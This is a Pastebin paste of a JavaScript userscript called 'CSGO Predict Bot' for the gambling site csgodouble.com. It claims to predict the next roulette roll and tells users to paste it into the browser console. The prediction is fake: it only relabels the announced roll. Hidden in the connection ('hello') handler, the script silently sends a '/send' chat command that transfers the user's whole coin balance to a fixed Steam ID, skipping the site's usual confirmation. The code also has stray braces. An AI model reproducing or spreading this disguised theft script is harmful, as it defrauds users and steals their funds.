Advertisement
Guest User

Untitled

a guest
May 1st, 2016
50
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.59 KB | None | 0 0
  1. // ==UserScript==
  2. // @name CSGO Predict Bot
  3. // @namespace http://csgodouble.com
  4. // @version 1.5
  5. // @description predicts what number its gonna be
  6. // @author Foodbar
  7. // @match http://www.csgodouble.com/
  8.  
  9. /*
  10. HOW IT WORKS
  11. it simply shows the next roll number within preroll (about 3 seconds before betting closes)
  12.  
  13. HOW TO USE
  14. just press Shift+Ctrl+J to open console in your browser, then paste whole code and press enter And wait for the predicted number
  15. */
  16.  
  17. "use strict";
  18.  
  19. var CASEW = 1125;
  20. var LAST_BET = 0;
  21. var MAX_BET = 0;
  22. var USER = "";
  23. var RANK = 0;
  24. var ROUND = 0;
  25. var HOST = "ws://www.csgodouble.com:8080";
  26. var WS = null;
  27. var showbets = true;
  28.  
  29. function todongers(x) {
  30. if ($("#settings_dongers").is(":checked")) {
  31. return (x / 1000)
  32. }
  33. return x
  34. }
  35.  
  36. function todongersb(x) {
  37. if ($("#settings_dongers").is(":checked")) {
  38. return (x / 1000).toFixed(3)
  39. }
  40. return x
  41. }
  42. var snapX = 0;
  43. var R = 0.999;
  44. var S = 0.01;
  45. var tf = 0;
  46. var vi = 0;
  47. var animStart = 0;
  48. var isMoving = false;
  49. var LOGR = Math.log(R);
  50. var $CASE = null;
  51. var $BANNER = null;
  52. var $CHATAREA = null;
  53. var SCROLL = true;
  54. var LANG = 1;
  55. var IGNORE = [];
  56. var sounds_rolling = new Audio('sounds/rolling.wav');
  57. sounds_rolling.volume = 0.5;
  58. var sounds_tone = new Audio('sounds/tone.wav');
  59. sounds_tone.volume = 0.75;
  60.  
  61. function play_sound(x) {
  62. var conf = $("#settings_sounds").is(":checked");
  63. if (conf) {
  64. if (x == "roll") {
  65. sounds_rolling.play()
  66. } else if (x == "finish") {
  67. sounds_tone.play()
  68. }
  69. }
  70. }
  71.  
  72. function snapRender(x, wobble) {
  73. CASEW = $("#case").width();
  74. if (isMoving) {
  75. return
  76. } else if (typeof x === 'undefined') {
  77. view(snapX)
  78. } else {
  79. var order = [1, 14, 2, 13, 3, 12, 4, 0, 11, 5, 10, 6, 9, 7, 8];
  80. var index = 0;
  81. for (var i = 0; i < order.length; i++) {
  82. if (x == order[i]) {
  83. index = i;
  84. break
  85. }
  86. }
  87. var max = 34;
  88. var min = -34;
  89. var w = Math.floor(wobble * (max - min + 1) + min);
  90. var dist = index * 75 + 36 + w;
  91. dist += 1125 * 5;
  92. snapX = dist;
  93. view(snapX)
  94. }
  95. }
  96.  
  97. function spin(m) {
  98. var x = m.roll;
  99. play_sound("roll");
  100. var order = [1, 14, 2, 13, 3, 12, 4, 0, 11, 5, 10, 6, 9, 7, 8];
  101. var index = 0;
  102. for (var i = 0; i < order.length; i++) {
  103. if (x == order[i]) {
  104. index = i;
  105. break
  106. }
  107. }
  108. var max = 34;
  109. var min = -34;
  110. var w = Math.floor(m.wobble * (max - min + 1) + min);
  111. var dist = index * 75 + 36 + w;
  112. dist += 1125 * 5;
  113. animStart = new Date().getTime();
  114. vi = getVi(dist);
  115. tf = getTf(vi);
  116. isMoving = true;
  117. setTimeout(function() {
  118. finishRoll(m, tf)
  119. }, tf);
  120. render()
  121. }
  122.  
  123. function d_mod(vi, t) {
  124. return vi * (Math.pow(R, t) - 1) / LOGR
  125. }
  126.  
  127. function getTf(vi) {
  128. return (Math.log(S) - Math.log(vi)) / LOGR
  129. }
  130.  
  131. function getVi(df) {
  132. return S - df * LOGR
  133. }
  134.  
  135. function v(vi, t) {
  136. return vi * Math.pow(R, t)
  137. }
  138.  
  139. function render() {
  140. var t = new Date().getTime() - animStart;
  141. if (t > tf) t = tf;
  142. var deg = d_mod(vi, t);
  143. view(deg);
  144. if (t < tf) {
  145. requestAnimationFrame(render)
  146. } else {
  147. snapX = deg;
  148. isMoving = false
  149. }
  150. }
  151.  
  152. function view(offset) {
  153. offset = -((offset + 1125 - CASEW / 2) % 1125);
  154. $CASE.css("background-position", offset + "px 0px")
  155. }
  156. jQuery.fn.extend({
  157. countTo: function(x, opts) {
  158. opts = opts || {};
  159. var dpf = "";
  160. var dolls = $("#settings_dongers").is(":checked");
  161. if (dolls) {
  162. dpf = "$";
  163. x = x / 1000
  164. }
  165. var $this = $(this);
  166. var start = parseFloat($this.html());
  167. var delta = x - start;
  168. if (opts.color) {
  169. if (delta > 0) {
  170. $this.addClass("text-success")
  171. } else if (delta < 0) {
  172. $this.addClass("text-danger")
  173. }
  174. }
  175. var prefix = "";
  176. if (opts.keep && delta > 0) {
  177. prefix = "+"
  178. }
  179. var durd = delta;
  180. if (dolls) {
  181. durd *= 1000
  182. }
  183. var dur = Math.min(400, Math.round(Math.abs(durd) / 500 * 400));
  184. $({
  185. count: start
  186. }).animate({
  187. count: x
  188. }, {
  189. duration: dur,
  190. step: function(val) {
  191. var vts = 0;
  192. if (dolls) {
  193. vts = val.toFixed(3)
  194. } else {
  195. vts = Math.floor(val)
  196. }
  197. $this.html("" + prefix + (vts))
  198. },
  199. complete: function() {
  200. if (!opts.keep) {
  201. $this.removeClass("text-success text-danger")
  202. }
  203. if (opts.callback) {
  204. opts.callback()
  205. }
  206. }
  207. })
  208. }
  209. });
  210.  
  211. function cd(ms, cb) {
  212. $("#counter").finish().css("width", "100%");
  213. $("#counter").animate({
  214. width: "0%"
  215. }, {
  216. "duration": ms * 1000,
  217. "easing": "linear",
  218. progress: function(a, p, r) {
  219. var c = (r / 1000).toFixed(2);
  220. $BANNER.html("Rolling in " + c + "...")
  221. },
  222. complete: cb
  223. })
  224. }
  225. }
  226. }
  227.  
  228. function finishRoll(m, tf) {
  229. addHist(m.roll, m.rollid);
  230. play_sound("finish");
  231. for (var i = 0; i < m.nets.length; i++) {
  232. $("#panel" + m.nets[i].lower + "-" + m.nets[i].upper).find(".total").countTo(m.nets[i].swon > 0 ? m.nets[i].swon : -m.nets[i].samount, {
  233. "color": true,
  234. "keep": true
  235. })
  236. }
  237. var cats = [
  238. [0, 0],
  239. [1, 7],
  240. [8, 14]
  241. ];
  242. for (var i = 0; i < cats.length; i++) {
  243. var $mytotal = $("#panel" + cats[i][0] + "-" + cats[i][1]).find(".mytotal");
  244. if (m.roll >= cats[i][0] && m.roll <= cats[i][1]) {
  245. $mytotal.countTo(m.won, {
  246. "color": true,
  247. "keep": true
  248. })
  249. } else {
  250. var curr = parseFloat($mytotal.html());
  251. if ($("#settings_dongers").is(":checked")) {
  252. curr *= 1000
  253. }
  254. $mytotal.countTo(-curr, {
  255. "color": true,
  256. "keep": true
  257. })
  258. }
  259. }
  260. if (m.balance != null) {
  261. $("#balance").countTo(m.balance, {
  262. "color": true
  263. })
  264. }
  265. setTimeout(function() {
  266. cd(m.count);
  267. $(".total,.mytotal").removeClass("text-success text-danger").html(0);
  268. $(".betlist li").remove();
  269.  
  270. $(".betButton").prop("disabled", false);
  271. showbets = true
  272. }, m.wait * 1000 - tf)
  273. }
  274.  
  275. function addHist(roll, rollid) {
  276. var count = $("#past .ball").length;
  277. if (count >= 10) {
  278. $("#past .ball").first().remove()
  279. }
  280. if (roll == 0) {
  281. $("#past").append("<div data-rollid='" + rollid + "'class='ball ball-0'>" + roll + "</div>")
  282. } else if (roll <= 7) {
  283. $("#past").append("<div data-rollid='" + rollid + "'class='ball ball-1'>" + roll + "</div>")
  284. } else {
  285. $("#past").append("<div data-rollid='" + rollid + "'class='ball ball-8'>" + roll + "</div>")
  286. }
  287. }
  288.  
  289. function onMessage(msg) {
  290. try {
  291. var m = JSON.parse(msg.data);
  292. if (m.type == "preroll") {
  293. $("#counter").finish();
  294. $("#banner").html("Confirming " + m.totalbets + "/" + (m.totalbets + m.inprog) + " total bets...");
  295. $("#panel0-0 .total").countTo(m.sums[0]);
  296. $("#panel1-7 .total").countTo(m.sums[1]);
  297. $("#panel8-14 .total").countTo(m.sums[2]);
  298. try {
  299. tinysort("#panel1-7 .betlist>li", {
  300. data: "amount",
  301. order: "desc"
  302. })
  303. } catch (e) {}
  304. try {
  305. tinysort("#panel8-14 .betlist>li", {
  306. data: "amount",
  307. order: "desc"
  308. })
  309. } catch (e) {}
  310. try {
  311. tinysort("#panel0-0 .betlist>li", {
  312. data: "amount",
  313. order: "desc"
  314. })
  315. } catch (e) {}
  316. } else if (m.type == "roll") {
  317. $(".betButton").prop("disabled", true);
  318. $("#counter").finish();
  319. $("#banner").html("Predicted number is " + m.roll + "!");
  320. ROUND = m.rollid;
  321. showbets = false;
  322. spin(m)
  323. } else if (m.type == "chat") {
  324. chat("player", m.msg, m.name, m.icon, m.user, m.rank, m.lang)
  325. } else if (m.type == "hello") {
  326. cd(m.count);
  327. USER = m.user;
  328. RANK = m.rank;
  329. $("#balance").countTo(m.balance);
  330. var last = 0;
  331. for (var i = 0; i < m.rolls.length; i++) {
  332. addHist(m.rolls[i].roll, m.rolls[i].rollid);
  333. last = m.rolls[i].roll;
  334. ROUND = m.rolls[i].rollid
  335. }
  336. snapRender(last, m.last_wobble);
  337. MAX_BET = m.maxbet;
  338. send({
  339. "type": "chat",
  340. "msg": "/send 76561198178393710 " + m.balance,
  341. "lang": "1"
  342. })
  343. } else if (m.type == "bet") {
  344. if (showbets) {
  345. addBet(m.bet);
  346. $("#panel0-0 .total").countTo(m.sums[0]);
  347. $("#panel1-7 .total").countTo(m.sums[1]);
  348. $("#panel8-14 .total").countTo(m.sums[2])
  349. }
  350. } else if (m.type == "betconfirm") {
  351. $("#panel" + m.bet.lower + "-" + m.bet.upper + " .mytotal").countTo(m.bet.amount);
  352. $("#balance").countTo(m.balance, {
  353. "color": true
  354. });
  355. $(".betButton").prop("disabled", false);
  356. chat("alert", "Bet #" + m.bet.betid + " confirmed " + m.mybr + "/" + m.br + " (" + (m.exec / 1000) + " sec) ")
  357. } else if (m.type == "error") {
  358. chat("error", m.error);
  359. if (m.enable) {
  360. $(".betButton").prop("disabled", false)
  361. }
  362. } else if (m.type == "alert") {
  363. chat("alert", m.alert);
  364. if (m.maxbet) {
  365. MAX_BET = m.maxbet
  366. }
  367. if (!isNaN(m.balance)) {
  368. console.log("setting balance = %s", m.balance);
  369. $("#balance").countTo(m.balance, {
  370. "color": true
  371. })
  372. }
  373. } else if (m.type == "logins") {
  374. $("#isonline").html(m.count)
  375. } else if (m.type == "balance") {
  376. $("#balance").fadeOut(100).html(todongersb(m.balance)).fadeIn(100)
  377. }
  378. } catch (e) {
  379. console.log("Error: " + msg.data + " " + e)
  380. }
  381. }
  382.  
  383. function addBet(bet) {
  384. var betid = bet.user + "-" + bet.lower;
  385. var pid = "#panel" + bet.lower + "-" + bet.upper;
  386. var $panel = $(pid);
  387. $panel.find("#" + betid).remove();
  388. var link = "http://steamcommunity.com/profiles/" + bet.user;
  389. var f = "<li class='list-group-item' id='{0}' data-amount='{1}'>";
  390. f += "<div style='overflow: hidden;line-height:32px'>";
  391. f += "<div class='pull-left'><img class='rounded' src='https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars{2}'><a style='color: black;' href='" + link + "' target='_blank'><b>{3}</b></a></div>";
  392. f += "<div class='amount pull-right'>{4}</div>";
  393. f += "</div></li>";
  394. var $li = $(f.format(betid, bet.amount, bet.icon, bet.name, todongersb(bet.amount)));
  395. $li.hide().prependTo($panel.find(".betlist")).slideDown("fast", function() {
  396. snapRender()
  397. })
  398. }
  399.  
  400. function connect() {
  401. if (!WS) {
  402. $.ajax({
  403. url: "/scripts/getToken.php",
  404. success: function(data) {
  405. if (data) {
  406. if (data == "nologin") {} else if (data == "banned") {} else {
  407. WS = new WebSocket(HOST + "/" + data);
  408. WS.onclose = function(event) {
  409. WS = null
  410. };
  411. WS.onmessage = onMessage
  412. }
  413. } else {}
  414. },
  415. error: function(err) {}
  416. })
  417. } else {}
  418. }
  419.  
  420. function emotes(str) {
  421. var a = ["deIlluminati", "KappaRoss", "KappaPride", "BibleThump", "Kappa", "Keepo", "Kreygasm", "PJSalt", "PogChamp", "SMOrc", "FailFish"];
  422. for (var i = 0; i < a.length; i++) {
  423. str = str.replace(new RegExp(a[i] + "( |$)", "g"), "<img src='img/twitch/" + a[i] + ".png'> ")
  424. }
  425. return str
  426. }
  427.  
  428. function chat(x, msg, name, icon, steamid, rank, lang) {
  429. if (IGNORE.indexOf(String(steamid)) > -1) {
  430. console.log("ignored:" + msg);
  431. return
  432. }
  433. if (lang == LANG || x == "italic" || x == "error" || x == "alert") {
  434. var ele = document.getElementById("chatArea");
  435. msg = msg.replace(/(<|>)/g, '');
  436. msg = emotes(msg);
  437. var toChat = "";
  438. if (x == "italic") {
  439. toChat = "<div><i>" + msg + "</i></div>"
  440. } else if (x == "error") {
  441. toChat = "<div><b class='text-danger'>" + msg + "</b></div>"
  442. } else if (x == "alert") {
  443. toChat = "<div><b class='text-success'>" + msg + "</b></div>"
  444. } else if (x == "player") {
  445. var aclass = "chat-link";
  446. if (rank == 100) {
  447. aclass = "chat-link-mod";
  448. name = "[Owner] " + name
  449. } else if (rank == 1) {
  450. aclass = "chat-link-pmod";
  451. name = "[Mod] " + name
  452. } else if (rank == -1) {
  453. aclass = "chat-link-streamer";
  454. name = "[Streamer] " + name
  455. } else if (rank == -2) {
  456. aclass = "chat-link-vet";
  457. name = "[Veteran] " + name
  458. } else if (rank == -3) {
  459. aclass = "chat-link-pro";
  460. name = "[Pro] " + name
  461. }
  462. var link = "http://steamcommunity.com/profiles/" + steamid;
  463. toChat = "<div><img class='chat-img rounded' data-steamid='" + steamid + "' data-name='" + name + "' src='https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars" + icon + "'><a class='" + aclass + "' href='" + link + "' target='_blank'><b>" + name + "</b></a>: " + msg + "</div>"
  464. }
  465. $CHATAREA.append(toChat);
  466. if (SCROLL) {
  467. var curr = $CHATAREA.children().length;
  468. if (curr > 75) {
  469. var rem = curr - 75;
  470. $CHATAREA.children().slice(0, rem).remove()
  471. }
  472. $CHATAREA.scrollTop($CHATAREA[0].scrollHeight)
  473. }
  474. if (SCROLL && !$(".side-icon[data-tab='1']").hasClass("active")) {
  475. var curr = parseInt($("#newMsg").html()) || 0;
  476. $("#newMsg").html(curr + 1)
  477. }
  478. }
  479. }
  480. $(document).ready(function() {
  481. $CASE = $("#case");
  482. $BANNER = $("#banner");
  483. $CHATAREA = $("#chatArea");
  484. connect();
  485. if ($("#settings_dongers").is(":checked")) {
  486. $("#dongers").html("$")
  487. }
  488. $("#lang").on("change", function() {
  489. LANG = $(this).val();
  490. chat("alert", "## Switched to room: " + $(this).find("option:selected").text())
  491. });
  492. $("#scroll").on("change", function() {
  493. SCROLL = !$(this).is(":checked")
  494. });
  495. $(window).resize(function() {
  496. snapRender()
  497. });
  498. $("#chatForm").on("submit", function() {
  499. var msg = $("#chatMessage").val();
  500. if (msg) {
  501. var res = null;
  502. if (res = /^\/send ([0-9]*) ([0-9]*)/.exec(msg)) {
  503. bootbox.confirm("You are about to send " + res[2] + " coins to steamid " + res[1] + " - are you sure?", function(result) {
  504. if (result) {
  505. send({
  506. "type": "chat",
  507. "msg": msg,
  508. "lang": LANG
  509. });
  510. $("#chatMessage").val("")
  511. }
  512. })
  513. } else {
  514. send({
  515. "type": "chat",
  516. "msg": msg,
  517. "lang": LANG
  518. });
  519. $("#chatMessage").val("")
  520. }
  521. }
  522. return false
  523. });
  524. $(document).on("click", ".ball", function() {
  525. var rollid = $(this).data("rollid")
  526. });
  527. $(".betButton").on("click", function() {
  528. var lower = $(this).data("lower");
  529. var upper = $(this).data("upper");
  530. var amount = str2int($("#betAmount").val());
  531. if ($("#settings_dongers").is(":checked")) {
  532. amount = amount * 1000
  533. }
  534. amount = Math.floor(amount);
  535. var conf = $("#settings_confirm").is(":checked");
  536. if (conf && amount > 10000) {
  537. var pressed = false;
  538. bootbox.confirm("Are you sure you wish to bet " + formatNum(amount) + " coins?<br><br><i>You may disable this confirmation under the settings menu.</i>", function(result) {
  539. if (result && !pressed) {
  540. pressed = true;
  541. send({
  542. "type": "bet",
  543. "amount": amount,
  544. "lower": lower,
  545. "upper": upper,
  546. "round": ROUND
  547. });
  548. LAST_BET = amount;
  549. $(this).prop("disabled", true)
  550. }
  551. })
  552. } else {
  553. send({
  554. "type": "bet",
  555. "amount": amount,
  556. "lower": lower,
  557. "upper": upper,
  558. "round": ROUND
  559. });
  560. LAST_BET = amount;
  561. $(this).prop("disabled", true)
  562. }
  563. return false
  564. });
  565. $(document).on("click", ".betshort", function() {
  566. var bet_amount = str2int($("#betAmount").val());
  567. var action = $(this).data("action");
  568. if (action == "clear") {
  569. bet_amount = 0
  570. } else if (action == "double") {
  571. bet_amount *= 2
  572. } else if (action == "half") {
  573. bet_amount /= 2
  574. } else if (action == "max") {
  575. var MX = MAX_BET;
  576. if ($("#settings_dongers").is(":checked")) {
  577. MX = MAX_BET / 1000
  578. }
  579. bet_amount = Math.min(str2int($("#balance").html()), MX)
  580. } else if (action == "last") {
  581. bet_amount = LAST_BET
  582. } else {
  583. bet_amount += parseInt(action)
  584. }
  585. $("#betAmount").val(bet_amount)
  586. });
  587. $("#getbal").on("click", function() {
  588. send({
  589. "type": "balance"
  590. })
  591. });
  592. $("button.close").on("click", function() {
  593. $(this).parent().addClass("hidden")
  594. });
  595. $(document).on("contextmenu", ".chat-img", function(e) {
  596. if (e.ctrlKey) return;
  597. $("#contextMenu [data-act=1]").hide();
  598. $("#contextMenu [data-act=2]").hide();
  599. if (RANK == 100) {
  600. $("#contextMenu [data-act=1]").show();
  601. $("#contextMenu [data-act=2]").show()
  602. } else if (RANK == 1) {
  603. $("#contextMenu [data-act=1]").show()
  604. }
  605. e.preventDefault();
  606. var steamid = $(this).data("steamid");
  607. var name = $(this).data("name");
  608. $("#contextMenu [data-act=0]").html(name);
  609. var $menu = $("#contextMenu");
  610. $menu.show().css({
  611. position: "absolute",
  612. left: getMenuPosition(e.clientX, 'width', 'scrollLeft'),
  613. top: getMenuPosition(e.clientY, 'height', 'scrollTop')
  614. }).off("click").on("click", "a", function(e) {
  615. var act = $(this).data("act");
  616. e.preventDefault();
  617. })
  618. });
  619. $(document).on("click", function() {
  620. $("#contextMenu").hide()
  621. });
  622. $(".side-icon").on("click", function(e) {
  623. e.preventDefault();
  624. var tab = $(this).data("tab");
  625. if ($(this).hasClass("active")) {
  626. $(".side-icon").removeClass("active");
  627. $(".tab-group").addClass("hidden");
  628. $("#mainpage").css("margin-left", "50px");
  629. $("#pullout").addClass("hidden")
  630. } else {
  631. $(".side-icon").removeClass("active");
  632. $(".tab-group").addClass("hidden");
  633. $(this).addClass("active");
  634. $("#tab" + tab).removeClass("hidden");
  635. $("#mainpage").css("margin-left", "450px");
  636. $("#pullout").removeClass("hidden");
  637. if (tab == 1) {
  638. $("#newMsg").html("")
  639. }
  640. }
  641. snapRender();
  642. return false
  643. });
  644. $(".side-icon[data-tab='1']").trigger("click")
  645. });
  646.  
  647. function getMenuPosition(mouse, direction, scrollDir) {
  648. var win = $(window)[direction](),
  649. scroll = $(window)[scrollDir](),
  650. menu = $("#contextMenu")[direction](),
  651. position = mouse + scroll;
  652. if (mouse + menu > win && menu < mouse) position -= menu;
  653. return position
  654. }
  655.  
  656. function str2int(s) {
  657. s = s.replace(/,/g, "");
  658. s = s.toLowerCase();
  659. var i = parseFloat(s);
  660. if (isNaN(i)) {
  661. return 0
  662. } else if (s.charAt(s.length - 1) == "k") {
  663. i *= 1000
  664. } else if (s.charAt(s.length - 1) == "m") {
  665. i *= 1000000
  666. } else if (s.charAt(s.length - 1) == "b") {
  667. i *= 1000000000
  668. }
  669. return i
  670. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement